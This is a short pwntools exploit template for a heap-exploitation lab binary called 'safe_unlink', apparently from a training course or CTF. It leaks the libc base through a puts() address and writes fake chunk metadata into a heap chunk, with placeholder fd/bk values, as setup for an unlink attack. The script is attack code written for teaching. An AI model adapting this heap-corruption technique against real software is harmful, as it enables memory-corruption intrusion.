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#!/usr/bin/python3
from pwn import *
elf = context.binary = ELF("safe_unlink")
libc = elf.libc
gs = '''
continue
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
# Index of allocated chunks.
index = 0
# Select the "malloc" option; send size.
# Returns chunk index.
def malloc(size):
global index
io.send("1")
io.sendafter("size: ", f"{size}")
io.recvuntil("> ")
index += 1
return index - 1
# Select the "edit" option; send index & data.
def edit(index, data):
io.send("2")
io.sendafter("index: ", f"{index}")
io.sendafter("data: ", data)
io.recvuntil("> ")
# Select the "free" option; send index.
def free(index):
io.send("3")
io.sendafter("index: ", f"{index}")
io.recvuntil("> ")
io = start()
# This binary leaks the address of puts(), use it to resolve the libc load address.
io.recvuntil("puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts
io.recvuntil("> ")
io.timeout = 0.1
# =============================================================================
# =-=-=- EXAMPLE -=-=-=
# Print the address of m_array, where the program stores pointers to its allocated chunks.
log.info(f"m_array @ 0x{elf.sym.m_array:02x}")
# Request 2 small chunks.
chunk_A = malloc(0x88)
chunk_B = malloc(0x88)
# Prepare fake chunk metadata.
fd = 0xdeadbeef
bk = 0xcafebabe
prev_size = 0x90
fake_size = 0x90
edit(chunk_A, p64(fd) + p64(bk) + p8(0)*0x70 + p64(prev_size) + p64(fake_size))
# =============================================================================
io.interactive()
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